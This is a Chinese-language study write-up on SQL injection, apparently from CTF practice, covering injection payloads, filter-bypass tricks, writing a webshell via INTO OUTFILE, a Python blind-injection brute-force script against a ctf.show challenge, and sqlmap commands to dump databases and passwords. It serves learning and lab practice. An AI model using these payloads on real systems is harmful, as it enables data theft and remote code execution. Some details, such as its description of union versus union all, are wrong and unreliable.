SQL注入总结

SQL注入总结

一、sql注入的基本原理

PHP从MySQL数据库中读取数据的方式

$id = $_GET["id"];
$sql = "select * from user where id = $id";
$result = mysqli_query($sql);
$row = mysql_fetch_array($result);
  • 首先是通过get请求从前端的表单中收集到你输入的值
  • 然后调用mysqli_query函数向当前活动数据库发送一条MySQL查询语句,将结果集取出并赋给变量$result
  • 最后,mysql_fetch_arry从结果集中取得一行作为关联数组

从上面的sql语句的查询方式可以发现一个问题,那就是如果我们输入的id被我恶意构造就可能会造成其余数据的泄露,例如如果输入id为:

id = 1 or 1 = 1

那么此时的sql查询语句就会变成

select * from user where id = 1 or 1 = 1

这里存在or,且后面的值为1,那么无论前面的id的值为多少他都会把user表里面的所有的东西打印出来,如果user表中存在管理员的账号密码那么我们就可以直接获得管理员的权限。

造成的原因:

整个过程实现的原因主要就是网站对于我们输入的sql语句的内容没有进行过滤导致的,这样网站的服务器就会执行我们输入的所有内容,只要语句本身没有语法问题就会执行,导致执行本不该执行的内容

二、SQL注入常见的分类

1、数字型注入与字符型注入

产生这种分类主要的原因是sql查询语句的不同,可分为数字型注入与字符型注入。

  • 数字型注入:注入点的数据内容是数字型,就是说对于输入的内容没有用单引号引起来
select * from user where id = $_GET['id']
id=1;
select * from user where id = 1;
  • 字符型注入:注入点的数据内容是字符型,对于输入的内容用单引号引起来
select * from user where id = '$_GET['id']';
id=1;
select * from user where id = '1';

判断是数字型注入还是字符型注入的方式(只要测试最后的时候只有一个左引号会不会报错即可)

  • ① 1‘ & ’1‘=’1 ② 1 & 1=1
    • ①报错 而 ② 不报错可能是数字型注入
    • ①不报错 而 ②报错可能是字符型注入
    • 其余的方式可能是有所过滤

2、报错注入与盲注

产生这种分类的原因是返回的结果不同,可分为报错注入与盲注

  • 报错注入:程序会将获取到的信息或者是报错信息直接显示在页面上就是报错注入

    image-20220718125224941

  • 盲注:在注入的过程中程序不显示任何SQL报错信息

三、SQL基本知识点

1、注释符

(1)单行注释

  • – (空格)

(2)多行注释

  • /**/

注意点:

① 两横杠注释的后面加上一个空格后,后面的才是注释,所以在sql注入的时候需要加上一个加号(+),因为记号经过url解码以后就会为一个空格

image-20220713095514511

② 在url时不能直接写入 #号:因为url中的 # 本来的用途是跳转到页面锚点,一个URL中的#后面的值不影响访问网页内容,可以理解成说#后面的内容不会发送到服务端,所以sql查询是无法实现,需要使用 #编码的 %23来实现,因为这样进行传送时,它会将其(%23)进行解码成 #,以实现注释功能

③ 注释的作用就是注释后面的内容, 在sql注入过程中有时候当你进行sql语句查询时最后面的引号无法与前面的单引号形成闭合,导致最后面多存在一条单引号, 所以需要使用注释符将后面的单引号进行注释掉

select username, password from user where id='$content'
$content = 1' union select 1,2 --+
以此实现语句的正确==> 
select username, password from user where id='1' union select 1,2 -- ' 

2、union联合查询

联合查询就是把多次查询的结果合并起来,形成新的查询结果集,但是它有一些语法限制

  • 每一个查询的列数和字段类型都要相同
  • union是将全部的数据合并在一起,而union all是将合并后的数据去重

例如下面的会把user表中所有的数据都给展示出来

select * from user where username != flag  union select * from user where username=flag;

3、连接查询

连接查询有全连接、右外连接与左外连接,sql注入中常见的一般是右外连接

右外连接:右表中的记录都会记录在结果集当中,并于左边相对应,如果左表没有则显示null

select * from user a right join admin b a.id=b.id;
image-20220718152108272

4、group by 与 having

(1)group by表示分组操作, having表示查询结果返回结果集以后对查询结果进行过滤操作, 它的作用相当于where,但与where存在一定区别

mysql> select username,passwd from user group by username, passwd;
+----------+-----------------------------+
| username | passwd                      |
+----------+-----------------------------+
| 0admin   | 13123                       |
| flag     | flag{this_is_flag_ha_ha_ha} |
| lisi     | 12345                       |
| wangwu   | 123456                      |
| zhangsan | 1234                        |
+----------+-----------------------------+
5 rows in set (0.05 sec)

mysql> select username,passwd from user group by username, passwd having username!='flag';
+----------+--------+
| username | passwd |
+----------+--------+
| 0admin   | 13123  |
| lisi     | 12345  |
| wangwu   | 123456 |
| zhangsan | 1234   |
+----------+--------+
4 rows in set (0.04 sec)

说明:查询列表必须特殊,要求是分组函数和group by后出现的字段

(2)having与where的区别

https://blog.csdn.net/yajie_china/article/details/80089553

5、运算符的优先级

根据运算符的优先级会进行执行顺序的调整,特别配合or运算符会实现意想不到的结果,例如存在如下的sql语句

select * from user where username != 'flag' or id = '$id' limit 0, 1;

当我们输入的id为:

$id = 999' or id='26' and '1'='1

此时的sql语句为:

select * from user where (username != 'flag' or id = '999') or (id='26' and '1'='1') limit 0,1;

根据运算符的优先级, 这样就会输入id=26的那一行的内容了

image-20220718130615867

6、常见的函数

(1)substr:主要是用于截取对应字段指定长度

substr函数(string, pos, len)
  • string:指定字符串
  • pos:规定字符串从何处开始(这里是从1开始的而不是0),为正数从开头开始,为负数从结尾开始
  • len:要截取字符串的长度(从1开始计数)

(2) regexp运算符

它是正则表达式(regular expression)的缩写,使用的方式如下,但是除了sql语句正常的%与_以外,正则表达式的那些语法均能使用

select * from user where username like "%la%";

select * from user where username regexp "%la%";

# ^:查找的字符串以什么开头:输入的名字必须以flag开头
select *from user where username regexp "^flag"

# $:查找的字符串以什么结尾:查找的姓名必须以 } 结尾
select *from user where username regexp "}$"

# |:表示多个搜索方式:查询姓名以flag开头或者是以}结尾的
select *from user where username regexp "^flag|}$"

(3)if语句

IF( expr1 , expr2 , expr3 )
  • expr1 的值为 TRUE,则返回值为 expr2
  • expr1 的值为FALSE,则返回值为 expr3

(4) load_file()与 into outfile()

链接:https://blog.csdn.net/weixin_44940180/article/details/107859666?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-2-107859666-blog-99558836.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-2-107859666-blog-99558836.pc_relevant_default&utm_relevant_index=4

① load_file():读取一个文件并将其内容作为一个字符串返回

② into outfile():将查询到的数据下载到本地, 或者是保存成一个webshell上传至服务器

  • 具有root权限
  • 在数据库配置文件中,配置项含有:secure_five_priv=’’。(而在数据库中默认此项为null)
  • 知道数据库的绝对路径

说明:如果有权限的话可以直接写一句话木马上去,实现远程代码执行

两者的区别:

  • load_file:联合查询中会占一位,用括号单引号包围路径
  • into outfile:联合查询不占位,用单引号包围路径

7、information_schema数据库

参考链接: https://blog.csdn.net/weixin_38972910/article/details/86012110

(1)概念

information schema:信息的组织与结构 ==》 提供了访问数据库元数据的方式

元数据:关于数据的数据,如数据库名、表名、列的数据类型或访问权限的等等

information_schema:存储了schemata表(schema的复数形式)、tables表和columns表

(2)数据库中各个表中存储的信息

① schemata表:提供了当前MySQL当中所有的数据库的信息,show databases命令的结果就取自此表,存储所有的数据库名

mysql> select * from information_schema.schemata;
+--------------+--------------------+----------------------------+------------------------+----------+
| CATALOG_NAME | SCHEMA_NAME        | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
+--------------+--------------------+----------------------------+------------------------+----------+
| def          | information_schema | utf8                       | utf8_general_ci        | NULL     |
| def          | challenges         | gbk                        | gbk_chinese_ci         | NULL     |
| def          | ctfshow            | utf8                       | utf8_general_ci        | NULL     |
| def          | mysql              | latin1                     | latin1_swedish_ci      | NULL     |
| def          | performance_schema | utf8                       | utf8_general_ci        | NULL     |
| def          | security           | utf8                       | utf8_unicode_ci        | NULL     |
| def          | sys                | utf8                       | utf8_general_ci        | NULL     |
+--------------+--------------------+----------------------------+------------------------+----------+

② tables表:存储了数据库中的表的信息,包括某个表属于哪一个schema、表类型、表引擎、创建时间等信息。show tables from “schemaname(数据库名)的结果就出自这里。重点关注的列是table_name以及 table_schema

image-20220713114503984

查询语句:

select table_name from information_schema.tables where table_schema=datdabase();

③ columns表:提供了表中的所有列信息,包括某个表的所有列以及每一列的信息,show columns from “表名”; 命令的结果就出自此表

image-20220713124746979

查询语句

select column_name from information_schema.columns where table_name='表名' ;

四、常见的过滤以及绕过方式

1、万能钥匙

999' or '1' = '1 
999' or username='flag
999' or '1' = '1' --+(%23)

2、对于返回集的判断

(1)结果集过滤掉了数字

利用replace函数将数字转换成其余字符以后再查询出来即可

注意点:

  • 使用特殊字符时注意不能使用本身带有特殊含义的符号,例如%、#、&符号

(2)过滤掉了ascii码表上的所有字符

那么其实就需要将读取到的内容存储到一个文件当中,然后再查看该文件了

# 将从user表中查询到的账号密码写进文件'/var/www/html/flag.txt'当中、
select username, password from ctfshow_user5 into outfile '/var/www/html/flag.txt'

说明:

如果我们写进文件的内容是我们自己构造好的一句话木马, 那么此时就有可能实现远程代码执行,要写进一句话木马有三个条件,不然有可能可写不可执行,可执行不可写

  • 具有root权限
  • 在数据库配置文件中,配置项含有:secure_five_priv=’’。(而在数据库中默认此项为null)
  • 知道数据库的绝对路径

3、过滤掉了空格

  • 常见的可以替换成空格的ascii码表有
十六进制 含义
09 水平制表符
0a 换行符
0b 垂直制表符
0c 换页符
0D 回车键
20 空格
  • 或者是使用反引号进行替换,不过反引号的实际作用是对于表名列名与保留字相同时进行区分的。

  • /**/可以作为空格

4、过滤掉了注释

如果程序使用了limit限制,那么你输出的结果就会收到限制,那么查询时就需要具体精确到某一行

5、过滤掉了引号

对于条件的查询,数字可以使用十六进制的形式实现,带有字符串的可以使用concat以及true、false的方式实现

6、过滤掉了select、where等

过滤掉这些以后,显然就不能通过联合查询来绕过了,因为union使用的就是select,那么可以使用的另外一种方式就是group by 与 having

select * from user group by username having username like 'fla%';

7、过滤掉了数字

可以使用 true、false以及concat函数进行实现,甚至是字符也可以实现,需要根据ascii对应的值实现数量的

# 数字11
select concat(true,true);
# 数字21
select concat(true+true,true);
# 数字111
select concat(true,true,true);
# 字符 f
select concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true)) as value

8、盲注

盲注一般都会存在如下的python脚本

from urllib import response
import requests
import time

url = "http://81b26ac9-4239-4971-bd67-b9015ddedb25.challenge.ctf.show/select-waf.php"
flagdir = "}abcdefghijklmnopqrstuvwxyz-0123456789{"    # 字典
payload = "(ctfshow_user)where(pass)like\"{}%\"" # payload
flag="ctfshow{"         # 爆破获得的flag


for i in range(0, 40):
    for x in flagdir:
        data = {
            "tableName":payload.format(flag+x)      # 爆破内容
        }
        response = requests.post(url, data=data)    #发送
        time.sleep(0.3)
        if response.text.find("user_count = 1")>0:  #如果接收到user_count = 1,就说明爆破正确,flag字符串拼接,然后爆下一个字符
            flag+=x
            break
        else:
            continue
    print(flag)

request库:继承了urllib2的所有特性。Requests支持HTTP连接保持和连接池,支持使用cookie保持会话,支持文件上传,支持自动确定响应内容的编码,支持国际化的 URL 和 POST 数据自动编码

链接:https://blog.csdn.net/qq_37616069/article/details/80376776

post请求方式:

response = requests.post(url, data=data)

# data:字典格式,一一对应的输入
# response.text.find:返回的值中查找

handler()

9、md5、弱类型比较

(1)md5的概念

md5(string $string, bool $binary = false): string

参数说明:

  • $string:表示要加密的字符串
  • $binary:它默认为false,如果binary为true时,那么md5摘要将以十六字符长度的原始二进制返回(不清楚,反正是有很多乱码),不然就会以32字符的十六进制数形式返回

注意点:当bianary为true是,存在一个特殊的值ffifdyop,使得md5加密以后返回的是 ,再根据运算符的优先级就有机会构造payload

‘or’6�]��!r,��b

(2)弱类型比较

最容易与interval函数进行结合,然后与数字进行比较,但是这里会存在一个强制转换问题,就是当你的字符串与数字进行比较的时候,字符串就会被强制转换成数字,而如果这个字符串时不是以数字或者时正负号开头的,那么其转换后的值就为0,这样就会导致当你查询到的结果为字母开头的话,只要你输入的内容是0就会绕过检查

五、sqlmap的使用

1、有关链接:

2、查询内容

(1)查询数据库名

# 查询所有的数据库
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -dbs --batch

# 查询当前网站使用的数据库
 python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --current-db --batch

参数说明

  • -u :表示url链接
  • -dbs:所有的数据库
  • –batch:忽略下面所有需要询问你时yes还是no的内容,执行默认的
  • –current-db:当前的数据库

(2)查询表名

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D security  --tables --batch

参数说明:

  • -D:database,数据库
  • -tables:所有的表

(3)查询列名

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D security  -T users --columns --batch

(4)查询需要的数字

 python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D security  -T users username, password --dump  --batch

参数说明:

  • username,password:需要查询的列
  • –dump:表示在页面展示出来,不下载到文件当中

(5)Post请求方式

python sqlmap.py -u "http://172.17.10.11/pikachu/vul/sqli/sqli_id.php" -data="id=1&submit=%E6%9F%A5%E8%AF%A2" -dbs --batch

3、用户的权限问题

(1)列出数据库管理系统用户

python sqlmap.py -u "url" -users

(2)查看数据库用户所有密码

python sqlmap.py -u "url" -password

待解决

  • sqlmap的实战的具体使用
  • 实战题目的分析
  • ctfshow上面还有几道题

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮箱至 1627319559@qq.com

×

喜欢就点赞,疼爱就打赏